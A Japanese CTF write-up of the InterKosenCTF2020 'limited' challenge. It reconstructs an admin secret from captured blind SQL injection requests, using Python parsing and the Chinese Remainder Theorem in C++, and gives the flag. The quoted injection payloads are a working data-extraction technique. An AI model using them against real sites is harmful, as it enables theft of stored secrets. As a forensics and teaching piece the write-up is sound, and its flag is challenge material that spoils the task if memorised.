はまやんはまやんはまやん

hamayanhamayan's blog

limited [InterKosenCTF2020]

limited
Our website had been attacked by someone. Did the attacker successfully steal the admin's secret?
author:theoremoon

パケットを見てみよう

WireSharkで見てみると、GETリクエストが大量に飛んでいる。
とりあえず、GETリクエストを全て取得してみて、色々見てみる。
攻撃者のGETリクエストパラメタを見てみよう…

search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 11                        
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 13                        
...             
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 9, 1)) FROM account WHERE name="admin") % 23                        
search.php?keyword=&search_max=(SELECT unicode(substr(secret, 9, 1)) FROM account WHERE name="admin") % 5

あー、なるほど、これは…
Blind SQL Injectionであるが、特定方法が珍しい。
中国人剰余定理を使用して、asciiコードを特定しようとしている。
かなり量があるので、スクリプトを書こう。

何文字目でmodが何で結果が何かを取ってくるスクリプト

import glob
import urllib.parse
import re

print(f"idx mod cnt")
for filename in glob.glob("./limited/http/*"):
    #print(filename)

    req = urllib.parse.unquote(filename[51:]).replace('+', ' ')
    #print(f"req: {req}")

    m = re.match(r'SELECT unicode\(substr\(secret, ([0-9]*), 1\)\) FROM account WHERE name="admin"\) % ([0-9]*)', req)
    
    idx = m.group(1)
    mod = m.group(2)
    cnt = 0

    with open(filename) as f:
        for line in f.readlines():
            if '<th scope="row">' in line:
                cnt += 1

    print(f"{idx} {mod} {cnt}")

まあ、頑張って書く。
あとは各文字毎に中国人剰余定理をするだけ。
自分は競技プログラミングC++向けにライブラリを持ってるので、pythonでは抽出だけ担当して、後はC++でやった。

あまり参考にならないけど、こんな感じ

void _main() {
    map<int, vector<pair<int, int>>> group;
    int idx, m, a;
    while (cin >> idx >> m >> a) group[idx].push_back({ a, m });

    fore(p, group) {
        CRT crt;
        fore(p2, p.second) crt.add(p2.first, p2.second);
        char c = char(crt.solve());
        printf("%c", c);
    }
}

Capture the flag.
KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}